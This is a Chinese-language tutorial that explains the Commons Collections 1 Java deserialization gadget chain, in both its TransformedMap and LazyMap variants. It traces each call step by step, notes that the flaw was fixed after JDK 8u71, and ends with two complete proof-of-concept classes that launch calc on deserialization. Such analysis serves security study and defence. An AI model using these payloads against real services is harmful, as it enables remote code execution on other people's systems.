Java反序列化利用链之CommonsCollections1
CommonsCollections1
CC1TransformedMap链
org.apache.commons.collections.functors.InvokerTransformer
危险类InvokerTransformer的实现如下:
InvokerTransformer类实现的transform方法可执行任意方法,也是反序列化执行命令的关键。
transform将解析构造方法传入的三个参数,执行input对象的iMethodName方法。
1
2
3
4
5
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
Object invokerTransformer = new InvokerTransformer("exec", new
Class[]{String.class}, new String[]{"calc"}).transform(r);
}
以上例子等同于这样:
1
2
3
4
5
6
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getMethod("exec",String.class);
method.invoke(runtime,"calc");
}
现在既然知道了InvokerTransformer的transform方法能够调用危险方法,就可以往前推找一个能够调用transform的类。
org.apache.commons.collections.map.TransformedMap
在类TransformedMap中存在一个checkSetValue调用了transform方法。
如果我们能够控制valueTransformer为InvokerTransformer就可以利用checkSetValue调用任意方法。
往前跟进一下valueTransformer:
可以看到TransformedMap的构造方法对valueTransformer赋值操作,但由于是protected方法,所以还需要找到哪里能够调用TransformedMap,在TransformedMap上方存在一个decorate方法正好符合。
1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
在这个方法中就可以看出valueTransformer值可控,我们可通过TransformedMap类的decorate方法传入invokertansformdMap就可以解决checkSetValue的参数问题了:
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator
然后就开始找哪里调用到了checkSetValue在TransformedMap的父类AbstractInputCheckedMapDecorator中:
在Java中,Map.Entry 是一个表示 Map 接口中的键值对的接口。Map 接口是Java中用于存储键值对的集合接口,而 Map.Entry 就代表了这些键值对的条目。
Map.Entry 接口定义了两个主要的方法:
- getKey(): 用于获取键(key)。
- getValue(): 用于获取值(value)。
这个接口通常与Map的entrySet()方法一起使用,该方法返回一个包含Map.Entry对象的Set集合,其中每个Map.Entry对象代表Map中的一个键值对。
遍历例子:
1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) {
// 创建一个Map
Map<String, Integer> map = new HashMap<>();
map.put("One", 1);
map.put("Two", 2);
map.put("Three", 3);
// 使用 entrySet() 获取 Map 中的键值对
for (Map.Entry<String, Integer> entry : map.entrySet()) {
System.out.println("Key: " + entry.getKey() + ", Value: " + entry.getValue());
}
}
AbstractInputCheckedMapDecorator类中的 MapEntry类中的setValue方法其实就是Map中的setValue进行了重写(AbstractInputCheckedMapDecorator的父类实现了Map)
AbstractInputCheckedMapDecorator类又引入了 Map.Entry 接口,还存在setValue 方法,所以我们只需要进行常用的 Map 遍历,就可以调用 setValue 方法,然后调用 checkSetValue 方法然后就变成了这样:
1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new
InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();//new 一个 map
map.put("key", "value");//对 map 进行赋值
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedmap.entrySet()) {//将transformedmap 传进去,会自动调用到父类里面的 setValue 方法:
entry.setValue(r);
}
}
然后就需要找到某个类的readObject里面能够遍历map而且在遍历时调用了setValue()方法,并且能把transformedmap传进去。
sun.reflect.annotation.AnnotationInvocationHandler;
这里有个坑点,CC1 在 jdk 的包更新到 8u71 以后,就对漏洞点进行了修复(CC1TransformedMap 链去掉了 Map.Entry 的 setValue 方法。
未修复前(jdk8u66):
修复后(jdk8u321):
可以很清楚的看到修复后的版本没有了setValue()。
接下来关注AnnotationInvocationHandler的构造方法看看什么可控:
在构造方法中可以看到memberValues是可控的,也就是Map可控,然后我们就可以传入前面构造的transformedmap,再就是该类没有pubilc修饰,所以只能通过反射拿到这个类的构造方法。
1
2
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
还有一个需要注意的点,在AnnotationInvocationHandler的readObject方法中:
这里var7是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,所以我们需要一个注解并且它存在成员变量。注解Target、SuppressWarnings、Retention 中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value
所以构造方法就可以这样传参:
1
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedmap);
或者这样:
1
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
1
Object o = annotationInvocationhdlConstructor.newInstance(Retention.class, transformedmap);
捋一下:
直到现在我们知道InvokerTransformer的transform 方法可以调用任意方法,并且TransformedMap中的checkSetValue调用了transform方法。在TransformedMap的父类AbstractInputCheckedMapDecorator中setValue又调用了checkSetValue,所以可通过AnnotationInvocationHandler调用readObject时触发。
1
2
AnnotationInvocationHandler.readObject-->Entry.setValue-->TransformedMap.checkSetValue
-->InvokerTransformer.transform-->Runtime.getRuntime().exec()
但是在Runtime里看一下,发现它没有serializable接口,不能被序列化:
这里可以运用反射来获取它的原型类,它的原型类class是存在serializable接口可以序列化的,在这可以看到getRuntime()方法,该方法会返回一个Runtime对象,所以我们可通过反射:
1
2
3
4
5
6
Class c=Class.forName("java.lang.Runtime"); //获取类原型
Method getRuntime= c.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法无无参方法,所以全为null
Method exec=c.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc"); //实现命令执行
Class rc = Class.forName("java.lang.Runtime");
利用前面transform方法实现上述代码:
1
2
3
4
5
6
7
Class c=Class.forName("java.lang.Runtime"); //获取类原型
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//这里模拟获取invoke方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行
但是这样写很繁琐,Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法。
org.apache.commons.collections.functors.ChainedTransformer
ChainedTransformer方法实现了Serializable
该类里调用了transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:
然后就可以这样构造:
1
2
3
4
5
6
7
8
9
Transformer[] Transformers = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
但是如何才能指定Runtime.class呢?也就是this.iTransformers[i].transform(object);的object为Runtime.class
org.apache.commons.collections.functors.ConstantTransformer
ConstantTransformer这个类的构造方法可控制transform的返回值,这样就能控制指定Runtime.class:
然后就可以这样构造:
1
2
3
4
5
6
7
8
9
10
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
这样构造之后就可以,第一次调用ConstantTransformer类的transform方法从而返回Runtime.class。
1
2
3
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
此时object变为Runtime.class,同时作为参数传入InvokerTransformer类的transform方法,也就是这样:
1
2
object = ConstantTransformer(Runtime.class).transform(xxx);
object = InvokerTransformer(xxx,xxx,xxx).transform(object); //此时括号中的object为Runtime.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
最终完整CC1Poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Poc {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(Transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedmap =
TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, transformedmap);
byte[] se = serialize(o);
deserialize(se);
}
}
CC1LazyMap链
在调用 tranforms 方法时候,除了能利用 Transformedmap 来进行调用,还可以通过使用 LazyMap 中的 get 方法来进行调用:
进入if的条件只需要将我们传入的map不要有后面传入的key就行。
在LazyMap的构造方法不难看出factory是可控的:
接下来只需要找到一个readObject方法调用了该get方法即可
sun.reflect.annotation.AnnotationInvocationHandler
在AnnotationInvocationHandler的invoke中存在调用而且上面TransformedMap链 分析了memberValues可控。
AnnotationInvocationHandler 类本身实现了 InvocationHandler接口所以我们可以直接使用动态代理去代理 LazyMap 对象。这个 invoke 是代理类的,memberValues.entrySet()调用后会自动触发。其中的 memberValues 变量就是我们传入的 LazyMap 对象,它所调用的也就是 LazyMap 的 get 方法,这样就触发了我们后面的利用链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整Poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1LazyMapPoc {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new
Class[]{String.class, Class[].class}, new
Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new
Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new
Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
HashMap<Object, Object> map = new HashMap<>();
Map Lazymap = LazyMap.decorate(map, chainedTransformer);
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, Lazymap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationhdlConstructor.newInstance(SuppressWarnings.class, mapProxy);
byte[] s = serialize(o);
Object o1 = deserialize(s);
}
}




















